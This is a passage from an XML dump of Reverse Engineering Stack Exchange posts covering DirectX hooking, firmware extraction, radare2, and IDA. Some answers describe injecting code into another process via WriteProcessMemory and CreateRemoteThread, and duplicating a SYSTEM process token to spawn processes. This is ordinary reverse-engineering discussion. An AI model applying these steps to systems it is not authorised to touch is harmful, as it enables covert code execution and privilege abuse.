  <row Id="16998" PostTypeId="2" ParentId="16997" CreationDate="2017-12-03T20:38:55.270" Score="3" Body="&lt;p&gt;First, local variables needn't be stored on the stack. Modern compilers will first try to use CPU registers to store local variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, heap and stack are terms that relate to virtual memory. Virtual memory starts to exist when the operating system creates the process. It does not exist when the file is on disk only. Therefore, you can never see a variable on disk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, &lt;a href=&quot;https://stackoverflow.com/users/2073973/user2073973&quot;&gt;@user2073973&lt;/a&gt; left a comment that the variables are stored in the &lt;code&gt;.data&lt;/code&gt; section. This is typically true, but&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;a compiler does not need to generate a &lt;code&gt;.data&lt;/code&gt; section, if he can avoid it by other means.&lt;/li&gt;&#xA;&lt;li&gt;without symbols, the &lt;code&gt;.data&lt;/code&gt; section is just data. You don't know which portion will make up a variable. &lt;code&gt;AB12CD34EF&lt;/code&gt; could be 5 &lt;code&gt;byte&lt;/code&gt;s or 1 &lt;code&gt;int&lt;/code&gt; + 1 &lt;code&gt;byte&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3355" OwnerDisplayName="Thomas Weller" LastActivityDate="2017-12-03T20:38:55.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17000" PostTypeId="1" CreationDate="2017-12-19T07:41:23.670" Score="3" ViewCount="470" Body="&lt;p&gt;Lets say I'm debugging a game which I don't have the src code. This game was built with directx 9 and I want to dig into the more low-level stuff around it. I already did some hooks in some dx9 calls such as Present and EndScene to create some nice stuff for the game but I was wondering how people debug this kind of scenario in &quot;real life&quot;. As almost every dx9 function is a virtual function of a class the analysis of it gets very hard very fast (at least for me) and I find myself lost don't knowing where exactly the functions are being called without debugging, etc. Another thing I was wondering is if it's possible to profile the dx9 calls to know some bottlenecks and stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any kind of help will be very appreciated here.&#xA;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="21752" LastActivityDate="2017-12-19T09:44:14.763" Title="Debugging and profiling directx 9 calls?" Tags="|debugging|virtual-functions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17001" PostTypeId="1" CreationDate="2017-12-19T07:49:40.260" Score="1" ViewCount="210" Body="&lt;p&gt;I have a proprietary binary (firmware), and I'd like to check whether it contains opensource components. I'm thinking about extracting what it contains - probably binaries - and use &lt;code&gt;strings&lt;/code&gt;, &lt;code&gt;grep&lt;/code&gt; and a couple of automated github/bitbucket/etc. searches to identify potential GPL violations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this approach is very limited, that's why I'm looking for advices and/or existing tools that could be relevant?&lt;/p&gt;&#xA;" OwnerUserId="22658" LastActivityDate="2017-12-19T16:10:54.580" Title="How to check proprietary firmware for GPL violation" Tags="|firmware|binary|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17002" PostTypeId="2" ParentId="17000" CreationDate="2017-12-19T09:44:14.763" Score="1" Body="&lt;p&gt;I've used IDA for this, it has ability to load VTBL structures and apply them to the assembler code. So, I could see &quot;call [IDirect3DSurface9.LockRect]&quot; instead of &quot;call dword ptr [edx + 0x64]&quot;&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2017-12-19T09:44:14.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17003" PostTypeId="1" AcceptedAnswerId="17005" CreationDate="2017-12-19T12:19:34.500" Score="1" ViewCount="9212" Body="&lt;p&gt;I don't know whether this is the right place to ask this question. I want some guide lines on this subject because I don't know how to search my problem in the internet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to create an executable file which can inject code into a targeted (another) executable file and run that target. What I talking about is &lt;strong&gt;not&lt;/strong&gt; a patched &lt;code&gt;exe&lt;/code&gt;. I want that &lt;code&gt;exe&lt;/code&gt; to inject the code and run the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to create such executable files..? If it is, can you please tell me some guiding materials..?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ps: when I search about &lt;code&gt;injection&lt;/code&gt;, I get only about &lt;code&gt;dll&lt;/code&gt; injection and it is not I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank You!!&lt;/p&gt;&#xA;" OwnerUserId="13059" LastActivityDate="2017-12-19T15:27:03.053" Title="Inject code into exe" Tags="|patching|injection|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="17004" PostTypeId="1" CreationDate="2017-12-19T13:36:20.953" Score="3" ViewCount="167" Body="&lt;p&gt;I use Adobe Reader XI for a little research project. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that Adobe use SpiderMonkey as its JS engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When opening a .pdf file that contains JS, the JS code is compiled in runtime in parts (JIT), to bytecode and the bytecode is mapped on the heap in pages with RW access.&#xA;I try to understand how the bytecode then executes. Where the executable opcodes are located/mapped in runtime?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using windbg &lt;code&gt;!address&lt;/code&gt; command, I don't see any page with RX access on the heap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I try to do is to figure out how the JS engine works, down to the page level. Means, how the engine interprets the bytecode to executable opcodes and where do he map that executable instructions themselves, alongside how he determines where to map each time the next executable code.&lt;/p&gt;&#xA;" OwnerUserId="22488" LastEditorUserId="245" LastEditDate="2017-12-19T22:33:21.283" LastActivityDate="2017-12-19T22:33:21.283" Title="Adobe Reader JIT Pages" Tags="|debugging|memory|windbg|javascript|pdf|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17005" PostTypeId="2" ParentId="17003" CreationDate="2017-12-19T15:27:03.053" Score="8" Body="&lt;p&gt;Start &lt;strong&gt;&lt;a href=&quot;https://www.codeguru.com/cpp/w-p/system/processesmodules/article.php/c5767/Three-Ways-To-Inject-Your-Code-Into-Another-Process.htm&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;&lt;/strong&gt;--specifically, the third technique: &quot;The CreateRemoteThread &amp;amp; WriteProcessMemory Technique&quot;. To quote:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Another way to copy some code to another process's address space and then execute it in the context of this process involves the use of remote threads and the WriteProcessMemory API. Instead of writing a separate DLL, you copy the code to the remote process directly now—via WriteProcessMemory—and start its execution with CreateRemoteThread.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You could also use the &lt;strong&gt;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms681674(v=vs.85).aspx&quot; rel=&quot;noreferrer&quot;&gt;WriteProcessMemory function&lt;/a&gt;&lt;/strong&gt; to write bytes directly, whether it's overwriting bytes directly or &lt;strong&gt;&lt;a href=&quot;https://www.codeproject.com/Articles/20240/The-Beginners-Guide-to-Codecaves&quot; rel=&quot;noreferrer&quot;&gt;code-caving&lt;/a&gt;&lt;/strong&gt;. There are nuances to keep in mind, though, like making sure the permissions of the memory you're writing to are set properly (read/write/execute), ala the &lt;strong&gt;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/aa366887(v=vs.85).aspx&quot; rel=&quot;noreferrer&quot;&gt;Virtual* functions&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="20928" LastActivityDate="2017-12-19T15:27:03.053" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17006" PostTypeId="2" ParentId="17001" CreationDate="2017-12-19T16:10:54.580" Score="3" Body="&lt;p&gt;Use &lt;a href=&quot;https://github.com/ReFirmLabs/binwalk&quot; rel=&quot;nofollow noreferrer&quot;&gt;binwalk&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The ability to analyze a firmware image and extract data from it is extremely useful. It can allow you to analyze an embedded device for bugs, vulnerabilities, or GPL violations without ever having access to the device. (&lt;a href=&quot;http://www.devttys0.com/2011/05/reverse-engineering-firmware-linksys-wag120n/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.devttys0.com/2011/05/reverse-engineering-firmware-linksys-wag120n/&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2017-12-19T16:10:54.580" CommentCount="0" CommunityOwnedDate="2017-12-19T16:10:54.580" ContentLicense="CC BY-SA 3.0" />
  <row Id="17007" PostTypeId="1" AcceptedAnswerId="17012" CreationDate="2017-12-19T18:43:28.923" Score="2" ViewCount="2549" Body="&lt;p&gt;I was using radare2 (2.2.0) with r2pipe (0.9.5) for python3 to debug the code generated by:&#xA;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int main(){&#xA;    char entrada[14];&#xA;    gets(entrada);&#xA;    puts(entrada);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Disassembling the main function with radare2 outputs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x00400546      55             pushq %rbp&#xA;0x00400547      4889e5         movq %rsp, %rbp&#xA;0x0040054a      4883ec10       subq $0x10, %rsp&#xA;0x0040054e      488d45f0       leaq local_10h, %rax&#xA;0x00400552      4889c7         movq %rax, %rdi&#xA;0x00400555      b800000000     movl $0, %eax&#xA;0x0040055a      e8e1feffff     callq sym.imp.gets          ; char*gets(char *s)&#xA;0x0040055f      488d45f0       leaq local_10h, %rax&#xA;0x00400563      4889c7         movq %rax, %rdi&#xA;0x00400566      e8c5feffff     callq sym.imp.puts          ; int puts(const char *s)&#xA;0x0040056b      b800000000     movl $0, %eax&#xA;0x00400570      c9             leave&#xA;0x00400571      c3             retq&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when debugging this program with python using this script&#xA;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import r2pipe as r2&#xA;prog = r2.open(&quot;./a.out&quot;)&#xA;&#xA;prog.cmd(&quot;aaa&quot;)&#xA;prog.cmd(&quot;doo&quot;)&#xA;&#xA;prog.cmd(&quot;db 0x0040055f&quot;) #Breakpoint after 'gets' call&#xA;&#xA;prog.cmd(&quot;dc&quot;)&#xA;prog.cmd(&quot;dc&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the execution stucks in the &quot;gets&quot; call, no matter which input I use. The same sequence of commands works fine with the radare2's CLI. I also tried using &lt;code&gt;dor stdin=input.txt&lt;/code&gt; before &lt;code&gt;doo&lt;/code&gt; which, despite the fact it works, it isn't convenient to write files to the disk, and for some uses, is not possible to determine the needed input before the execution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to use stdin with r2pipe?&lt;/p&gt;&#xA;" OwnerUserId="14892" LastActivityDate="2017-12-19T22:53:16.700" Title="Using stdin when debugging with r2pipe" Tags="|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17008" PostTypeId="1" AcceptedAnswerId="17019" CreationDate="2017-12-19T20:19:41.470" Score="0" ViewCount="934" Body="&lt;p&gt;So I'm seeing this a lot in an IDA database:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; wchar_t off_BADF00D&#xA;off_BADF00D     dd offset loc_6F0062&#xA;                dd offset loc_740074&#xA;                dd offset loc_6D006E+1&#xA;                align 10h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So given the comment at the top IDA &lt;em&gt;knows&lt;/em&gt; from the code reference that this ought to be a zero-terminated wide character string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking of writing a simple IDAPython script to find instances of this and force these items to be converted to the appropriate data type automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, neither &lt;code&gt;;&lt;/code&gt; nor &lt;code&gt;:&lt;/code&gt; showed anything, so this is neither a repeatable nor a normal comment. So what is it and how can I use IDAPython to extract it? I also tried (prompted by a comment here) if it's an anterior or posterior comment line. It wasn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively I'll also be happy if someone can point out how to &quot;guide&quot; IDA to do the right thing without scripting, but this sparked my curiosity, so only bonus points for that. I'd still like to find out how to get the comment shown.&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="245" LastEditDate="2017-12-19T20:56:35.053" LastActivityDate="2017-12-22T19:33:24.047" Title="How to extract the automatic comment for these data items in IDA?" Tags="|ida|idapython|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17010" PostTypeId="1" AcceptedAnswerId="17014" CreationDate="2017-12-19T22:09:27.177" Score="1" ViewCount="3959" Body="&lt;p&gt;&lt;code&gt;CreateProcessAsUser&lt;/code&gt; is often used by Windows services in case an executable is started that the user has specified in order to run it with Medium Integrity Level to ensure privilege isolation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/EXce3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EXce3.png&quot; alt=&quot;CreateProcessAsUser stack trace&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the signature, a &lt;code&gt;hToken&lt;/code&gt; has to be provided. From my observation, Windows services always pick the currently logged on user that performed this action.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BOOL WINAPI CreateProcessAsUser(&#xA;  _In_opt_    HANDLE                hToken,&#xA;  _In_opt_    LPCTSTR               lpApplicationName,&#xA;  _Inout_opt_ LPTSTR                lpCommandLine,&#xA;  _In_opt_    LPSECURITY_ATTRIBUTES lpProcessAttributes,&#xA;  _In_opt_    LPSECURITY_ATTRIBUTES lpThreadAttributes,&#xA;  _In_        BOOL                  bInheritHandles,&#xA;  _In_        DWORD                 dwCreationFlags,&#xA;  _In_opt_    LPVOID                lpEnvironment,&#xA;  _In_opt_    LPCTSTR               lpCurrentDirectory,&#xA;  _In_        LPSTARTUPINFO         lpStartupInfo,&#xA;  _Out_       LPPROCESS_INFORMATION lpProcessInformation&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Q: What mechanism determines that &quot;current user&quot;?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm double quoting &quot;current user&quot;, because it seems very vague to assume a single point of implementation. I currently assume that every function that calls &lt;code&gt;CreateProcessAsUser&lt;/code&gt; has its own implementation of retrieving the &quot;current user&quot; in order to pass its token.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to understand what this logic looks like and on what criteria the &lt;code&gt;hToken&lt;/code&gt; is selected. Since user mode process creation is performed by many Windows services, I would have to assume there is a common logic for it, but I don't see it in the stack traces (see image).&lt;/p&gt;&#xA;" OwnerUserId="22474" LastEditorUserId="245" LastEditDate="2017-12-19T22:14:12.767" LastActivityDate="2017-12-28T16:48:05.723" Title="How is CreateProcessAsUser impersonation implemented in Windows services?" Tags="|windows|process|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="17011" PostTypeId="2" ParentId="16979" CreationDate="2017-12-19T22:20:39.820" Score="0" Body="&lt;p&gt;Thanks for the responses guys. I managed to achieve my goal which is detailed in the OP edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;CreateWindowExA&lt;/code&gt; function in this application used the same pointer for both &lt;code&gt;lpClassName&lt;/code&gt; and &lt;code&gt;lpWindowName&lt;/code&gt; args. So patching the program to push just a string instead of that pointer for &lt;code&gt;lpWindowName&lt;/code&gt; successfully achieved what I was aiming for. I believe changing the &lt;code&gt;lpClassName&lt;/code&gt; was causing the crash I described in the OP.&lt;/p&gt;&#xA;" OwnerUserId="22620" LastActivityDate="2017-12-19T22:20:39.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17012" PostTypeId="2" ParentId="17007" CreationDate="2017-12-19T22:53:16.700" Score="4" Body="&lt;p&gt;Just use i.e. pseudo-terminal as file in the command. I usually create &lt;code&gt;rarun2&lt;/code&gt; file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/rarun2&#xA;stdin=/dev/pts/20&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in the r2pipe script I run&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;r2.cmd('e dbg.profile=re2.rr2')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to configure usage of this script by &lt;code&gt;r2&lt;/code&gt; debug session.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, on one terminal you run your &lt;code&gt;r2pipe&lt;/code&gt; and on the other (the one that is &lt;code&gt;/dev/pts/20&lt;/code&gt;) you type&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;&amp;lt;input&amp;gt;&quot; &amp;gt; /dev/pts/20&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2017-12-19T22:53:16.700" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17014" PostTypeId="2" ParentId="17010" CreationDate="2017-12-19T23:53:33.623" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I currently assume that every function that calls CreateProcessAsUser has its own implementation of retrieving the &quot;current user&quot; in order to pass its token.  &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I would like to understand what this logic looks like and on what criteria the hToken is selected.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A while back I wrote some Delphi code to do this when running a program as SYSTEM. Instead of a service, I was executing from a SYSTEM cmd prompt, which I invoked using psexec: &lt;code&gt;psexec -s -i -d cmd.exe&lt;/code&gt;). Logic flowed like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Call &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/aa383835(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;WTSGetActiveConsoleSessionID&lt;/a&gt; to retrieve session ID of the session attached to the physical console (and therefore not term services session). &lt;a href=&quot;https://github.com/MicksMix/RunAsLou/blob/master/uWtsUtils.pas#L424&quot; rel=&quot;nofollow noreferrer&quot;&gt;code&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;s&gt;Can next call &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/aa383840(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;WTSQueryUserToken&lt;/a&gt; to retrieve the token for that session&lt;/s&gt; Obtain PID for a SYSTEM process, like &lt;code&gt;winlogon.exe&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Obtain a handle to this process by calling &lt;code&gt;OpenProcess&lt;/code&gt; &lt;a href=&quot;https://github.com/MicksMix/RunAsLou/blob/master/uWtsUtils.pas#L431&quot; rel=&quot;nofollow noreferrer&quot;&gt;code&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Using this handle, call &lt;code&gt;OpenProcessToken&lt;/code&gt; to obtain a handle to the process' access token &lt;a href=&quot;https://github.com/MicksMix/RunAsLou/blob/master/uWtsUtils.pas#L442&quot; rel=&quot;nofollow noreferrer&quot;&gt;code&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Call &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;DuplicateTokenEx&lt;/a&gt; specifying this handle and the user's session ID in order to create a copy of the token. &lt;a href=&quot;https://github.com/MicksMix/RunAsLou/blob/master/uWtsUtils.pas#L460&quot; rel=&quot;nofollow noreferrer&quot;&gt;code&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Call CreateProcessAsUser with this duplicated token. &lt;a href=&quot;https://github.com/MicksMix/RunAsLou/blob/master/uWtsUtils.pas#L485&quot; rel=&quot;nofollow noreferrer&quot;&gt;code&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here's a &lt;a href=&quot;https://www.codeproject.com/Articles/35773/Subverting-Vista-UAC-in-Both-and-bit-Archite&quot; rel=&quot;nofollow noreferrer&quot;&gt;similar example in C#&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;a href=&quot;https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer&quot; rel=&quot;nofollow noreferrer&quot;&gt;Process Explorer&lt;/a&gt; to view the session that process is being run within.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/mlsTQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mlsTQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="161" LastEditorUserId="161" LastEditDate="2017-12-28T16:48:05.723" LastActivityDate="2017-12-28T16:48:05.723" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="17017" PostTypeId="1" CreationDate="2017-12-20T08:49:14.927" Score="1" ViewCount="1730" Body="&lt;p&gt;I used Binwalk to extract firmware files,  extracted content include 2 folders and one binary file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;squashfs-root&#xA;_351C.extracted&#xA;351C&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Squashfs-root contains file system, '_351C.extracted' folder contains security certificates (.crt). Don't know what is '351C' binary file (2.96 Mb).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I need to rebuild firmware back to binary image (.bin). How to rebuild this into binary firmware image? I tried use Firmware Mod Kit to extract fw, but it old, fails to run on my LTS 16.04 due missing some dependencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The FW &lt;a href=&quot;https://yadi.sk/d/Nw47salo3Qncdy&quot; rel=&quot;nofollow noreferrer&quot;&gt;file&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="39817" LastEditorUserId="39817" LastEditDate="2017-12-20T14:06:57.253" LastActivityDate="2018-02-18T14:32:21.957" Title="Rebuilding firmware back to binary file" Tags="|binary-analysis|firmware|linux|embedded|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17018" PostTypeId="2" ParentId="17017" CreationDate="2017-12-20T09:52:58.670" Score="1" Body="&lt;p&gt;It really depends on the firmware format. If it was pure squashfs, without any additional header, just generate the new firmware file out of your set of files via mksquashfs &lt;a href=&quot;https://elinux.org/Squash_FS_Howto#Creating_and_using_squashed_file_systems&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://elinux.org/Squash_FS_Howto#Creating_and_using_squashed_file_systems&lt;/a&gt;&#xA;Otherwise, you'll need to append header/footer to the squashfs file to make it look like the original firmware.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2017-12-20T09:52:58.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17019" PostTypeId="2" ParentId="17008" CreationDate="2017-12-20T10:59:06.157" Score="1" Body="&lt;p&gt;Can't tell about python, but in IDC you can partially get that 'comment' via &lt;code&gt;GetType(ea)&lt;/code&gt;. I say partially because it gives &lt;code&gt;wchar_t[67]&lt;/code&gt; as result for comment like &lt;code&gt;; wchar_t aHttpSchemas_27[67]&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastEditorUserId="245" LastEditDate="2017-12-22T19:33:24.047" LastActivityDate="2017-12-22T19:33:24.047" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17021" PostTypeId="2" ParentId="16997" CreationDate="2017-12-20T11:59:17.187" Score="1" Body="&lt;p&gt;Data storage on modern OSes and their appropriate file formats is far more complex than that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are multiple locations to store variables, of those the more predominant are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;The stack&lt;/strong&gt;. This is where small-scoped variables are usually stored, often defined in the function or code block level. Those variables are relatively &quot;cheap&quot; to allocate but their scope is limited isn't flexible. Stack is somewhat limited in size, and allocating too many big variables may cause stack overflow crashes.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;The heap&lt;/strong&gt;. The heap allows more control and flexibility of the scope a variable leaves in, at the cost of bugs potential (memory leaks, heap corruption) and security vulnerabilities. It is also slightly more &quot;expensive&quot; to allocate performance-wise. The heap is only limited buy the address space size and available RAM, when RAM limitations are mitigated by using the page file (called swap in Linux/Mac).&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Virtual memory (directly)&lt;/strong&gt;. Quite similar to the heap, but instead of using the OS's flexible-size heap chunks allocation, allocating entire pages and managing their partition manually. This is quite similar and rarely used in common-day programs.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;pre-allocated regions&lt;/strong&gt;. Some global-scoped variables (global and static variables are stored here, not on the heap) are often allocated inside PE regions designated for variables. These regions are often divided to an uninitialized section and an initialized section.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The last one, the pre-allocated regions, is the only type of variable storage encoded in the PE file directly and the only one there's a chance to access from the hard drive, but only initial values are readable. You cannot use that to read current variable values (because those will only be stored in memory).&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2017-12-20T11:59:17.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17022" PostTypeId="1" AcceptedAnswerId="17024" CreationDate="2017-12-20T12:56:13.843" Score="-2" ViewCount="4945" Body="&lt;h3&gt;Question:&lt;/h3&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;You are given &lt;code&gt;eax = 0x1&lt;/code&gt;. Could you set &lt;code&gt;eax&lt;/code&gt; to zero using only one &lt;code&gt;add&lt;/code&gt; instruction ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h3&gt;Answer:&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;add %eax, 0xffffffff&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Why is that ?&lt;/p&gt;&#xA;" OwnerUserId="22673" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2017-12-20T16:31:51.437" Title="how to represent -1 in assembly?" Tags="|assembly|x86|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17023" PostTypeId="1" AcceptedAnswerId="17025" CreationDate="2017-12-20T13:20:45.227" Score="3" ViewCount="796" Body="&lt;p&gt;I'm trying to reverse a binary and I'm having trouble understanding a pattern that keeps showing in almost half of the functions in the binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how one particular function looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fqwHz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fqwHz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is &lt;code&gt;rsl_setNetCfgObj&lt;/code&gt; being loaded in &lt;code&gt;$v1&lt;/code&gt; and not &quot;used&quot; (being called) anywhere? I see that the next opcode sets &lt;code&gt;$a1&lt;/code&gt; to an offset of &lt;code&gt;$v1&lt;/code&gt;, but those addresses aren't pointing to anything meaningful.&#xA;This pattern is repeated in a lot of the functions that I'm analysing, and I'm not sure if that's some bug in Binary Ninja and IDA Pro (as they both show the same), or if I'm missing something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that is not a bug, what exactly is &lt;code&gt;rol_setNetCfgObj&lt;/code&gt; supposed to do?&lt;/p&gt;&#xA;" OwnerUserId="17617" LastActivityDate="2017-12-20T17:38:46.347" Title="Strange instructions pattern (lw) in MIPS binary" Tags="|disassembly|binary-analysis|mips|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="17024" PostTypeId="2" ParentId="17022" CreationDate="2017-12-20T14:21:47.043" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://www.cs.cornell.edu/~tomf/notes/cps104/twoscomp.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Reference:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h2&gt;Conversion from Two's Complement&lt;/h2&gt;&#xA;  &#xA;  &lt;p&gt;Use the number 0xFFFFFFFF as an example. In binary, that is:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;1111 1111 1111 1111 1111 1111 1111 1111&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;What can we say about this&#xA;  number? It's first (leftmost) bit is 1, which means that this&#xA;  represents a number that is negative. That's just the way that things&#xA;  are in two's complement: a leading 1 means the number is negative, a&#xA;  leading 0 means the number is 0 or positive.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;To see what this number is a negative of, we reverse the sign 